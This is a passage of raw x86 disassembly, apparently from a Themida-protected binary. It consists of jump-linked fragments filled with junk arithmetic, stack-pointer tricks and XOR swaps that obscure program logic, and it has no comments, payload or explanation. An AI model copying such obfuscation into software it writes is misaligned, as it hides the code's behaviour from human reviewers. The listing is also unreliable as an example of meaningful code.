		mov	ecx, [esp-14h+arg_10]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp-0Ch+arg_C]
		pop	edi
		jmp	loc_56D38F
; ---------------------------------------------------------------------------


loc_56A16F:				; CODE XREF: sub_55EDA7-9E8j
		shl	ch, 8
		sub	esp, 2
		mov	word ptr [esp+14h+var_16+2], ax
		mov	ah, 29h
		xor	ch, ah
		pop	ax
		jmp	loc_56916C
; ---------------------------------------------------------------------------


loc_56A184:				; CODE XREF: sub_55EDA7+3BA6j
		sub	dl, 0FEh
		not	dl
		sub	dl, 37h
		add	bl, dl
		jmp	loc_563BEA
; ---------------------------------------------------------------------------
		push	small 36A1h
		mov	word ptr [esp-16h+arg_10+2], ax
		jmp	loc_56D20A
; ---------------------------------------------------------------------------


loc_56A1A0:				; CODE XREF: sub_55EDA7+B51Cj
		push	edx
		mov	edx, 63D43E1Bh
		neg	edx
		shr	edx, 5
		shl	edx, 3
		xor	edx, 270AF07Ch
		mov	ecx, edx
		pop	edx
		sub	esi, ecx
		pop	ecx
		jmp	sub_57132F
; ---------------------------------------------------------------------------


loc_56A1BF:				; CODE XREF: sub_55EDA7+CC22j
		push	42AFh
		mov	[esp-16h+arg_10+2], eax
		mov	eax, esp
		push	13EAh
		mov	[esp-12h+arg_C+2], edi
		jmp	loc_55E610
; ---------------------------------------------------------------------------


loc_56A1D6:				; CODE XREF: sub_55EDA7+3811j
		mov	eax, [esp+32h+var_32]
		sub	esp, 4
		mov	[esp+36h+var_36], edi
		jmp	loc_56B3A2
; ---------------------------------------------------------------------------


loc_56A1E7:				; CODE XREF: sub_55EDA7+A850j
		add	ecx, eax
		jmp	loc_5683C9
; ---------------------------------------------------------------------------


loc_56A1EE:				; CODE XREF: sub_55EDA7+B643j
		sub	ebx, esi
		jmp	loc_570428
; ---------------------------------------------------------------------------


loc_56A1F5:				; CODE XREF: sub_55EDA7+C40Cj
		pop	ebx
		push	edi
		jmp	loc_56CE93
; ---------------------------------------------------------------------------


loc_56A1FC:				; CODE XREF: sub_55EDA7+11A1Dj
		push	21CDh
		mov	[esp+4+var_4], ebp
		push	esi
		push	3C882150h
		pop	esi
		dec	esi
		xor	esi, 3C25330Ah
		and	esi, 4EAB672Ah
		add	esi, 0FF56FE04h
		mov	ebp, esi
		pop	esi
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	4F51h
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp+8+var_8]
		jmp	loc_562590
; ---------------------------------------------------------------------------


loc_56A241:				; CODE XREF: sub_55EDA7+2B8Cj
		sub	ebx, 4
		xchg	ebx, [esp-24h+arg_20]
		pop	esp
		mov	[esp-28h+arg_24], edx
		jmp	loc_5707C9
; ---------------------------------------------------------------------------


loc_56A250:				; DATA XREF: Themida_:0055DF8Co
		push	eax
		jmp	loc_56A718
; ---------------------------------------------------------------------------


loc_56A256:				; CODE XREF: sub_55EDA7+4F10j
		mov	[esp-14h+arg_10], esi
		jmp	loc_570383
; ---------------------------------------------------------------------------


loc_56A25E:				; CODE XREF: sub_55EDA7+D257j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp-18h+arg_14]
		jmp	loc_572428
; ---------------------------------------------------------------------------


loc_56A26E:				; CODE XREF: sub_55EDA7+11462j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-14h+arg_10]
		jmp	loc_5621CF
; ---------------------------------------------------------------------------


loc_56A282:				; CODE XREF: sub_55EDA7+4E6Ej
		push	esi
		mov	esi, 0BEA3AACh
		add	esi, 401D027Eh
		sub	ecx, esi
		jmp	loc_56D1C6
; ---------------------------------------------------------------------------


loc_56A295:				; CODE XREF: sub_55EDA7+D4F7j
		xor	ebx, [esp-26h+arg_20+2]
		mov	esp, [esp-26h+arg_20+2]


loc_56A29B:				; CODE XREF: sub_55EDA7+BFEDj
		push	5A56h
		mov	[esp-22h+arg_1C+2], esi
		sub	esp, 4
		mov	[esp-1Eh+arg_18+2], ebx
		jmp	loc_56DC86
; ---------------------------------------------------------------------------


loc_56A2B1:				; CODE XREF: sub_55EDA7+1C07j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57222B
; ---------------------------------------------------------------------------


loc_56A2BE:				; CODE XREF: sub_55EDA7+6AE9j
		pop	edx
		add	esp, 4
		push	ecx
		jmp	loc_56A1A0
; ---------------------------------------------------------------------------


loc_56A2C8:				; CODE XREF: sub_55EDA7+A5D4j
		dec	eax
		not	eax
		add	eax, 0FFFFFFFFh
		xor	eax, 0E9C0B141h
		sub	ebp, eax
		pop	eax
		push	edx
		mov	edx, 9D8B73FBh
		sub	ebp, 4224417Dh
		sub	ebp, edx
		jmp	loc_57141F
; ---------------------------------------------------------------------------


loc_56A2E9:				; CODE XREF: sub_57115D-9EEj
		add	edx, eax
		sub	edx, 72F840FFh
		add	edx, 1CE645EBh
		pop	eax
		push	eax
		mov	eax, 5DF146AFh
		add	[esp+8], eax
		pop	eax
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 5DF146AFh
		jmp	loc_565F01
; ---------------------------------------------------------------------------


loc_56A314:				; CODE XREF: sub_55EDA7+127EFj
		push	esp
		jmp	loc_56BA8B
; ---------------------------------------------------------------------------


loc_56A31A:				; DATA XREF: Themida_:0055E088o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+4+var_4], cl
		pushf
		jmp	loc_56C36D
; ---------------------------------------------------------------------------


loc_56A329:				; CODE XREF: sub_55EDA7+314Aj
		sub	esp, 4
		mov	[esp+2+var_4+2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2+var_4+2]
		pop	esp
		add	edx, ecx
		pop	ecx
		push	eax
		jmp	loc_56F87C
; ---------------------------------------------------------------------------


loc_56A34A:				; CODE XREF: sub_55EDA7+8013j
		mov	edi, 7BA95FF8h
		add	edx, 467F21F5h
		sub	edx, edi
		push	ebp
		mov	ebp, 146A1294h
		neg	ebp
		dec	ebp
		push	ecx
		mov	ecx, 0A516CB76h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_565995
; ---------------------------------------------------------------------------


loc_56A36E:				; CODE XREF: sub_55EDA7+CA61j
		xor	ah, 0E5h
		add	bl, ah
		pop	eax
		mov	eax, [esp+14h+var_16+2]
		jmp	loc_56BAE3
; ---------------------------------------------------------------------------


loc_56A37C:				; CODE XREF: sub_55EDA7+114C8j
		push	edx
		mov	edx, 3785537h
		sub	edx, 2D297700h
		and	edx, 3EDE5E29h
		dec	edx
		not	edx
		jmp	loc_5641F8
; ---------------------------------------------------------------------------


loc_56A396:				; CODE XREF: sub_55EDA7+9395j
		push	49BE28A9h
		jmp	loc_56BBA3
; ---------------------------------------------------------------------------


loc_56A3A0:				; CODE XREF: sub_55EDA7+4F1Dj
		mov	esp, [esp-18h+arg_14]
		neg	edx
		neg	edx
		jmp	loc_55FD68
; ---------------------------------------------------------------------------


loc_56A3AC:				; CODE XREF: sub_55EDA7+2B07j
		mov	[esp-1Ch+arg_18], edi
		mov	edi, esp
		jmp	loc_56263E
; ---------------------------------------------------------------------------


loc_56A3B6:				; CODE XREF: sub_56D867+1j
		push	5E8Dh
		mov	[esp-18h+arg_14], eax
		mov	eax, 33E9337Bh
		mov	ebx, 855C9EF4h
		sub	ebx, eax
		pop	eax
		add	esi, ebx
		pop	ebx
		or	edi, esi
		pop	esi
		jmp	loc_566393
; ---------------------------------------------------------------------------


loc_56A3D6:				; CODE XREF: sub_55EDA7+A6D0j
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_568509
; ---------------------------------------------------------------------------


loc_56A3E5:				; CODE XREF: sub_55EDA7+14BCj
		mov	esi, 607F9D38h
		jmp	loc_56A1EE
; ---------------------------------------------------------------------------


loc_56A3EF:				; CODE XREF: sub_55EDA7+13609j
		sub	ecx, esi
		pop	esi
		add	ecx, edx
		jmp	sub_55E56A
; ---------------------------------------------------------------------------


loc_56A3F9:				; CODE XREF: sub_55EDA7+5A50j
		pop	ebp
		add	esp, 4
		jmp	loc_569841
; ---------------------------------------------------------------------------


loc_56A405:				; CODE XREF: sub_55EDA7+C7AAj
		push	eax
		push	1B0D6D75h
		pop	eax
		sub	eax, 9C1F4479h
		mov	ebx, eax
		pop	eax
		sub	ebx, 1
		push	esi
		jmp	loc_561963
; ---------------------------------------------------------------------------


loc_56A420:				; CODE XREF: sub_55EDA7+1052Cj
		mov	edi, esp
		add	edi, 4
		jmp	loc_565968
; ---------------------------------------------------------------------------


loc_56A42D:				; CODE XREF: sub_55EDA7+4DDAj
		sub	ebx, 0A5538A90h
		add	eax, ebx
		pop	ebx
		mov	edi, [esp-2Ch+arg_28]
		sub	esp, 4
		mov	[esp-28h+arg_24], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	sub_56EA3D
; ---------------------------------------------------------------------------


loc_56A44B:				; CODE XREF: sub_55EDA7+7FACj
		add	eax, edi
		mov	edi, [esp-26h+arg_20+2]
		add	esp, 4
		jmp	loc_5662CF
; ---------------------------------------------------------------------------


loc_56A45B:				; CODE XREF: sub_5713BB-1DD8j
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		add	ebx, 5DC4345Fh
		pop	eax
		add	ebx, 2
		xor	ebx, [esp-32h+arg_2C+2]
		xor	[esp-32h+arg_2C+2], ebx
		xor	ebx, [esp-32h+arg_2C+2]
		jmp	loc_56F234
; ---------------------------------------------------------------------------


loc_56A47B:				; CODE XREF: sub_55EDA7+3C3Bj
		sub	eax, 9BA6774h
		sub	eax, esi
		add	eax, 9BA6774h
		mov	esi, [esp-1Ch+arg_18]
		add	esp, 4
		jmp	loc_56881B
; ---------------------------------------------------------------------------


loc_56A492:				; CODE XREF: sub_55EDA7+72BDj
		mov	esp, [esp-18h+arg_14]
		jmp	loc_56CD06
; ---------------------------------------------------------------------------


loc_56A49A:				; CODE XREF: sub_55EDA7+9DABj
		push	[esp-8+arg_4]
		jmp	loc_560E4A
; ---------------------------------------------------------------------------


loc_56A4A2:				; CODE XREF: sub_55EDA7+AC04j
		pop	esi
		or	eax, 27B513CFh
		push	eax
		not	[esp+2Eh+var_2E]
		jmp	loc_56ADA5
; ---------------------------------------------------------------------------


loc_56A4B1:				; CODE XREF: sub_55EDA7+F2E7j
		pop	bx
		sub	ax, cx
		push	bp
		jmp	loc_565162
; ---------------------------------------------------------------------------


loc_56A4BD:				; CODE XREF: sub_55EDA7-711j
		xor	[esp-2Ch+arg_28], esi
		xor	esi, [esp-2Ch+arg_28]
		mov	esp, [esp-2Ch+arg_28]
		jmp	loc_56046D
; ---------------------------------------------------------------------------


loc_56A4CB:				; CODE XREF: sub_55EDA7+9083j
		mov	ebx, ecx
		pop	ecx
		sub	ebx, esi
		mov	esi, ebx
		mov	ebx, [esp+12h+var_12]
		add	esp, 4
		sub	esi, 44FB70D6h
		jmp	loc_566723
; ---------------------------------------------------------------------------


loc_56A4E6:				; CODE XREF: sub_55EDA7+BE9Dj
		pop	esp
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_561733
; ---------------------------------------------------------------------------


loc_56A4F0:				; CODE XREF: sub_55EDA7+A5B6j
		add	eax, 5C66230Fh
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56A4FA:				; CODE XREF: sub_55EDA7+11618j
		push	ecx
		jmp	loc_561C8E
; ---------------------------------------------------------------------------


loc_56A500:				; CODE XREF: sub_55EDA7+8DA6j
		pop	esi
		add	ecx, 8611105h
		jmp	loc_560B8B
; ---------------------------------------------------------------------------


loc_56A50C:				; CODE XREF: sub_55EDA7-3EDj
		mov	esi, [esp-20h+arg_1C]
		add	esp, 4
		jmp	loc_5716C4
; ---------------------------------------------------------------------------


loc_56A51A:				; CODE XREF: sub_55EDA7+CCBFj
		mov	ax, word ptr [esp-24h+arg_20]
		push	293Bh
		mov	[esp-20h+arg_1C], ecx
		push	esp
		pop	ecx
		push	ebx
		push	4FF02A80h
		mov	ebx, [esp-18h+arg_14]
		add	esp, 4
		neg	ebx
		add	ebx, 4FF02A84h
		add	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 2
		jmp	loc_5720D8
; ---------------------------------------------------------------------------


loc_56A54A:				; CODE XREF: sub_55EDA7+5F0Ej
		push	ecx
		mov	ecx, 676003F7h
		xor	ecx, 676003F3h
		mov	ebp, ecx
		pop	ecx
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp-28h+arg_24]
		mov	esp, [esp-28h+arg_24]
		sub	esp, 4
		mov	[esp-24h+arg_20], esi
		push	33ACh
		push	esp
		pop	[esp-1Ch+arg_18]
		sub	esp, 4
		mov	[esp-1Ch+arg_18], edi
		jmp	loc_56EE90
; ---------------------------------------------------------------------------


loc_56A587:				; CODE XREF: sub_55EDA7+A097j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_565986
; ---------------------------------------------------------------------------


loc_56A59A:				; CODE XREF: sub_55EDA7+6C3j
		sub	esp, 4
		mov	[esp-4+arg_0], edx
		mov	edx, 2
		add	edi, 7708008Eh
		add	edi, edx
		sub	edi, 7708008Eh
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		xchg	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		inc	byte ptr [esp-8+arg_4]
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56A5CE:				; CODE XREF: sub_55EDA7+6934j
		sub	ebx, 1
		push	edi
		mov	edi, 58944864h
		jmp	loc_565193
; ---------------------------------------------------------------------------


loc_56A5DC:				; CODE XREF: sub_55EDA7+12ABBj
		sub	ebx, eax
		jmp	loc_56288A
; ---------------------------------------------------------------------------


loc_56A5E3:				; CODE XREF: sub_55EDA7+8253j
		xor	edx, [esp+44h+var_46+2]
		jmp	loc_5701ED
; ---------------------------------------------------------------------------


loc_56A5EB:				; CODE XREF: Themida_:00572C7Aj
		pop	ecx
		and	ecx, 497007DCh
		neg	ecx
		jmp	loc_56DBCC
; ---------------------------------------------------------------------------


loc_56A5F9:				; CODE XREF: sub_55EDA7+B0B2j
		mov	[esp+18h+var_1A+2], esp
		push	eax
		mov	eax, 25020AB5h
		inc	eax
		shr	eax, 2
		jmp	loc_569D86
; ---------------------------------------------------------------------------


loc_56A60B:				; CODE XREF: sub_55EDA7+68F4j
		sub	dh, al
		mov	eax, [esp+38h+var_3A+2]
		add	esp, 4
		push	cx
		push	edx
		push	ebx
		mov	bl, 0E6h
		mov	dl, 0B3h
		sub	dl, bl
		pop	ebx
		mov	ch, dl
		pop	edx
		add	bl, ch
		pop	cx
		push	eax
		mov	al, 5Ch
		shl	al, 7
		xor	al, 2Bh
		sub	bl, al
		pop	eax
		sub	bl, dh
		push	5C62h
		jmp	loc_566524
; ---------------------------------------------------------------------------


loc_56A63C:				; CODE XREF: sub_55EDA7+CD1Cj
		add	ecx, 5C7600EDh
		shr	ecx, 3
		and	ecx, 3C812320h
		shl	ecx, 2
		add	ecx, 3E59213Fh
		add	edi, ecx
		jmp	loc_571981
; ---------------------------------------------------------------------------


loc_56A65B:				; CODE XREF: sub_55EDA7+3A90j
		push	esp
		jmp	loc_561C5D
; ---------------------------------------------------------------------------


loc_56A661:				; CODE XREF: sub_55EDA7+2B81j
		mov	edi, 64606939h
		inc	edi
		or	edi, 0F6E5490h
		shr	edi, 2
		jmp	loc_571FF6
; ---------------------------------------------------------------------------


loc_56A675:				; CODE XREF: sub_55EDA7+77D9j
		push	eax
		mov	eax, 7B1975B3h
		push	edx
		mov	edx, 534C45D0h
		sub	edx, 67741B7Fh
		jmp	loc_55EC85
; ---------------------------------------------------------------------------


loc_56A68C:				; CODE XREF: sub_55EDA7+6CE2j
		pop	ecx
		xchg	ecx, ebx
		push	2E09h
		mov	[esp-4+arg_0], edx
		push	edi
		push	esi
		push	ebx
		mov	ebx, 4EBD5CDAh
		mov	esi, ebx
		pop	ebx
		mov	edi, esi
		pop	esi
		jmp	loc_55EFDD
; ---------------------------------------------------------------------------


loc_56A6AA:				; CODE XREF: sub_55EDA7-218j
		pop	esp
		pop	[esp-1Ch+arg_18]
		mov	esp, [esp-20h+arg_1C]
		sar	[esp-20h+arg_1C], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56A6BA:				; CODE XREF: sub_55EDA7-B31j
		push	edx
		mov	dh, 95h
		mov	cl, dh
		pop	edx
		shr	cl, 7
		not	cl
		add	cl, 21h
		jmp	loc_56699C
; ---------------------------------------------------------------------------


loc_56A6CD:				; CODE XREF: sub_55EDA7+E8ACj
		xor	edx, 14ED29F7h
		jmp	loc_56CE85
; ---------------------------------------------------------------------------


loc_56A6D8:				; CODE XREF: sub_55EDA7+5F97j
		mov	edx, 6C92347h
		jmp	loc_5727D1
; ---------------------------------------------------------------------------


loc_56A6E2:				; CODE XREF: sub_55EDA7+8699j
		xor	ebp, 8B83D984h
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp+26h+var_26]
		xor	[esp+26h+var_26], ecx
		xor	ecx, [esp+26h+var_26]
		pop	esp
		pop	[esp+22h+var_22]
		jmp	loc_56D5E3
; ---------------------------------------------------------------------------


loc_56A6FD:				; CODE XREF: sub_55EDA7+2B95j
		mov	esp, [esp-28h+arg_24]
		mov	word ptr [esp-28h+arg_24], dx
		push	ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56A70C:				; CODE XREF: sub_55EDA7+5280j
		pop	edx
		jmp	loc_5624EB
; ---------------------------------------------------------------------------


loc_56A712:				; CODE XREF: sub_55EDA7+6BDAj
		push	esp
		jmp	loc_5607CD
; ---------------------------------------------------------------------------


loc_56A718:				; CODE XREF: sub_55EDA7+B4AAj
		sub	esp, 4
		mov	[esp-20h+arg_1C], esp
		add	[esp-20h+arg_1C], 4
		pop	eax
		jmp	loc_56179A
; ---------------------------------------------------------------------------


loc_56A72E:				; CODE XREF: sub_55EDA7+A3E7j
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 2DF82EB1h
		xor	ebx, 5AC437B3h
		jmp	loc_56FEB0
; ---------------------------------------------------------------------------


loc_56A742:				; CODE XREF: sub_55EDA7+FC76j
		push	esp
		pop	ebx
		jmp	loc_56A007
; ---------------------------------------------------------------------------


loc_56A749:				; CODE XREF: sub_55EDA7+10702j
		add	cl, 0CDh
		xor	bh, cl
		pop	ecx
		push	small 60B8h
		jmp	loc_5666F1
; ---------------------------------------------------------------------------


loc_56A758:				; CODE XREF: sub_55EDA7+C62Bj
		mov	[esp+0], ebx
		jmp	loc_56978E
; ---------------------------------------------------------------------------


loc_56A760:				; CODE XREF: sub_55EDA7+1DDFj
		push	6C31h
		mov	[esp-18h+arg_14], ecx
		jmp	loc_562CC4
; ---------------------------------------------------------------------------


loc_56A76D:				; CODE XREF: sub_55EDA7+11685j
		sub	[edi+24h], eax
		pop	eax


loc_56A771:				; CODE XREF: sub_55EDA7+B126j
		push	4B24h
		mov	[esp-18h+arg_14], ebp
		sub	esp, 4
		mov	[esp-14h+arg_10], ebx
		jmp	loc_5605AD
; ---------------------------------------------------------------------------


loc_56A787:				; CODE XREF: sub_55EDA7+10AD0j
		mov	[esp-14h+arg_10], esi
		push	3345h
		mov	[esp-10h+arg_C], ebx
		mov	ebx, 6FE40EF1h
		push	edx
		push	eax
		mov	eax, 0D3F912CBh
		mov	edx, eax
		jmp	loc_5619E7
; ---------------------------------------------------------------------------


loc_56A7A5:				; CODE XREF: sub_55EDA7+47F4j
		mov	[esp+24h+var_26+2], edi
		push	eax
		mov	eax, ecx
		mov	edi, eax
		jmp	loc_566C40
; ---------------------------------------------------------------------------


loc_56A7B2:				; CODE XREF: sub_55EDA7+BEDBj
		mov	esp, [esp+28h+var_2A+2]
		jmp	loc_5616D6
; ---------------------------------------------------------------------------


loc_56A7BA:				; CODE XREF: sub_55E56A+6j
		add	ecx, ebx
		pop	ebx
		sub	ecx, 69C014FFh
		pop	edx
		xor	ecx, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], ecx
		xor	ecx, [esp+20h+var_22+2]
		pop	esp
		push	ebx
		mov	ebx, 943558Ch
		inc	ebx
		inc	ebx
		add	ebx, 5417C7B2h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+24h+var_26+2]
		xor	[esp+24h+var_26+2], ecx
		xor	ecx, [esp+24h+var_26+2]
		pop	esp
		jmp	loc_563BCB
; ---------------------------------------------------------------------------


loc_56A7F7:				; CODE XREF: sub_55EDA7+CBAEj
		push	2C40h
		jmp	loc_57268B
; ---------------------------------------------------------------------------


loc_56A801:				; CODE XREF: sub_56C696+3D1Fj
		neg	bh
		sub	bh, 16h
		add	dl, bh
		pop	ebx
		add	dl, 1
		shr	dl, 1
		inc	dl
		jmp	loc_56C976
; ---------------------------------------------------------------------------


loc_56A815:				; CODE XREF: sub_55EDA7+1261j
		mov	eax, 1E54CA6h
		shr	eax, 8
		shr	eax, 3
		sub	eax, 3CA5h
		jmp	loc_572504
; ---------------------------------------------------------------------------


loc_56A82A:				; CODE XREF: sub_55EDA7+67F5j
		pop	ebx
		add	esp, 4
		add	eax, edi
		push	ecx
		push	ebp
		mov	ebp, 691E0ABEh
		mov	ecx, ebp
		jmp	loc_566A4C
; ---------------------------------------------------------------------------


loc_56A841:				; CODE XREF: sub_55EDA7+1155Ej
		push	ebp
		mov	ebp, 26162311h
		not	ebp
		jmp	loc_561177
; ---------------------------------------------------------------------------


loc_56A84E:				; CODE XREF: sub_55EDA7+7563j
		add	esi, ebp
		add	esi, 3A0115DEh
		pop	ebp
		add	esi, 0BD708C1h
		jmp	loc_568141
; ---------------------------------------------------------------------------


loc_56A862:				; CODE XREF: sub_55EDA7+11414j
		xchg	ebx, [esp+24h+var_26+2]
		jmp	loc_56F46D
; ---------------------------------------------------------------------------


loc_56A86A:				; CODE XREF: sub_55EDA7+C21Aj
		mov	edi, 3DE35899h
		add	eax, edi
		pop	edi
		sub	ecx, eax
		pop	eax
		add	ecx, 4C073D2Ah
		pop	ebx
		jmp	loc_56AA59
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], eax
		mov	eax, esp
		push	7BB5h
		jmp	loc_56B5D1
; ---------------------------------------------------------------------------


loc_56A897:				; CODE XREF: sub_55EDA7+AE4Dj
		dec	eax
		neg	eax
		and	eax, 31485686h
		jmp	loc_55E4F7
; ---------------------------------------------------------------------------


loc_56A8A4:				; CODE XREF: sub_55EDA7+4D4j
		push	esp
		pop	edi
		push	ecx
		push	ebp
		push	72CF420Dh
		pop	ebp
		and	ebp, 4573150Bh
		add	ebp, 0BFBCFFFBh
		jmp	loc_564A78
; ---------------------------------------------------------------------------


loc_56A8BF:				; CODE XREF: sub_55EDA7+99A1j
		mov	esp, [esp+2Eh+var_2E]
		mov	[esp+2Eh+var_2E], edx
		push	ebx
		mov	bl, 6Bh
		jmp	loc_564528
; ---------------------------------------------------------------------------


loc_56A8CD:				; CODE XREF: sub_55EDA7+AAA9j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		pop	ecx
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	ebp
		mov	ebp, 44235A3h
		push	ecx
		mov	ecx, 5B5B6431h
		shr	ecx, 4
		or	ecx, 7DD3F89h
		and	ecx, 68AD6318h
		push	eax
		mov	eax, 45F72B99h
		or	eax, 2A384BB8h
		and	eax, 5673411Dh
		inc	eax
		shr	eax, 5
		sub	eax, 41B80359h
		push	ebp
		mov	ebp, 32001F45h
		or	ebp, 1E39288Eh
		push	ebx
		mov	ebx, 3E568E8h
		sub	ebx, 7A94705Ch
		shl	ebx, 3
		jmp	loc_5718F2
; ---------------------------------------------------------------------------


loc_56A939:				; CODE XREF: sub_55EDA7-640j
		xchg	ecx, [esp-30h+arg_2C]
		pop	esp
		mov	[esp-34h+arg_30], ecx
		mov	ecx, 7E5D253Fh
		sub	edi, ecx
		pop	ecx
		mov	esi, [esp-38h+arg_34]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_56DC12
; ---------------------------------------------------------------------------


loc_56A95C:				; CODE XREF: sub_55EDA7+DCC1j
		mov	[esp-38h+arg_34], esi
		push	ebp
		push	393E4C84h
		jmp	loc_565BEE
; ---------------------------------------------------------------------------


loc_56A96A:				; CODE XREF: sub_55EDA7+DAF5j
		mov	[esp-30h+arg_2C], ebp
		mov	ebp, 3E41444Ch
		sub	ebp, 1
		jmp	loc_55EB0F
; ---------------------------------------------------------------------------


loc_56A97A:				; CODE XREF: sub_55EDA7+EACEj
		mov	edi, 59B5660Dh
		xor	edi, ebp
		pop	ebp
		add	ebp, edi
		jmp	loc_563C44
; ---------------------------------------------------------------------------


loc_56A989:				; CODE XREF: sub_55EDA7-8ADj
		sub	eax, 4000017Ch
		add	edi, eax
		pop	eax
		add	edi, 2
		push	535Dh
		mov	[esp-0Ah+arg_4+2], edi
		push	[esp-0Ah+arg_8+2]
		push	[esp-6+arg_0+2]
		mov	edi, [esp+0]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		mov	esi, 4
		jmp	loc_56334A
; ---------------------------------------------------------------------------


loc_56A9C5:				; CODE XREF: sub_55EDA7+105A7j
		pop	ebp
		pop	eax
		sub	eax, 7BA95E36h
		jmp	loc_5670DE
; ---------------------------------------------------------------------------


loc_56A9D1:				; CODE XREF: sub_55EDA7+1815j
		pop	ebx
		jmp	loc_56CEBA
; ---------------------------------------------------------------------------


loc_56A9D7:				; CODE XREF: sub_55EDA7+9AD7j
		sub	ecx, 0E501C93Eh
		mov	esi, ecx
		mov	ecx, [esp-20h+arg_1C]
		jmp	loc_564F68
; ---------------------------------------------------------------------------


loc_56A9E7:				; CODE XREF: sub_55EDA7+3569j
		pop	edx
		xor	edx, 6DE318FEh
		push	ebp
		mov	ebp, 329A6D9Bh
		add	ebp, 44717A18h
		jmp	loc_563DE4
; ---------------------------------------------------------------------------


loc_56A9FF:				; CODE XREF: sub_55EDA7+1134j
		mov	[esp+4+var_4], edx
		mov	edx, 476C23CFh
		mov	edi, 0D0244A46h
		add	edi, 55D92E07h
		add	edi, edx
		sub	edi, 55D92E07h
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5676FF
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp+0], cl
		pushf
		jmp	loc_55EAC2
; ---------------------------------------------------------------------------


loc_56AA34:				; CODE XREF: sub_55EDA7+E377j
		push	[esp+2+var_4+2]
		jmp	loc_562A8C
; ---------------------------------------------------------------------------


loc_56AA3C:				; CODE XREF: sub_55EDA7+8E8Bj
		mov	[esp+2Ch+var_2E+2], eax
		push	ecx
		mov	ecx, 2
		push	ecx
		pop	eax
		jmp	loc_56D10F
; ---------------------------------------------------------------------------


loc_56AA4C:				; CODE XREF: sub_55EDA7+9E0Aj
		push	167Bh
		mov	[esp+20h+var_22+2], esi
		jmp	loc_56FF17
; ---------------------------------------------------------------------------


loc_56AA59:				; CODE XREF: sub_55EDA7+BAD5j
		mov	ebx, ecx
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_56BEE4
; ---------------------------------------------------------------------------


loc_56AA69:				; CODE XREF: sub_55EDA7-B95j
		mov	[esp+8+var_8], ebp
		push	[esp+8+var_4]
		jmp	loc_5643B4
; ---------------------------------------------------------------------------


loc_56AA75:				; CODE XREF: sub_55EDA7+BFC8j
		add	dh, 1Ah
		shl	dh, 4
		xor	dh, 7Eh
		sub	al, dh
		jmp	loc_5681F1
; ---------------------------------------------------------------------------


loc_56AA85:				; CODE XREF: sub_55EDA7+117D2j
		push	0
		sub	[esp+10h+var_12+2], 33FA6E50h
		sub	[esp+10h+var_12+2], esi
		add	[esp+10h+var_12+2], 33FA6E50h
		mov	esi, [esp+10h+var_12+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp
		shr	esi, 4
		or	esi, 5F56B41h
		jmp	loc_562BC4
; ---------------------------------------------------------------------------


loc_56AABF:				; CODE XREF: sub_55EDA7+1049Fj
		pop	edi
		push	eax
		jmp	loc_5668F3
; ---------------------------------------------------------------------------


loc_56AAC6:				; CODE XREF: sub_55EDA7+6C8Cj
		push	edx
		mov	dh, 0D5h
		add	dh, 65h
		jmp	loc_55FAA2
; ---------------------------------------------------------------------------


loc_56AAD1:				; CODE XREF: sub_55EDA7-113j
		inc	eax
		sub	eax, 4CC4AB14h
		jmp	loc_55FC87
; ---------------------------------------------------------------------------


loc_56AADC:				; CODE XREF: sub_55EDA7+9045j
		pop	ebx
		pop	ecx
		jmp	sub_570661
; ---------------------------------------------------------------------------


loc_56AAE3:				; CODE XREF: sub_55EDA7+EA71j
		xor	edx, [esp+3Ch+var_3E+2]
		xor	[esp+3Ch+var_3E+2], edx
		pop	edi
		push	eax
		mov	eax, 0D36F9B5Ah
		xor	edi, eax
		pop	eax
		jmp	loc_570F7F
; ---------------------------------------------------------------------------


loc_56AAF8:				; CODE XREF: sub_55EDA7+7C88j
		pop	ecx
		jmp	loc_56C2DD
; ---------------------------------------------------------------------------


loc_56AAFE:				; CODE XREF: sub_55EDA7+70E1j
		sub	ebx, 85153CD9h
		push	edi
		mov	edi, 5A970905h
		add	edi, 4D4E3468h
		shr	edi, 8
		shl	edi, 6
		and	edi, 7DAE0645h
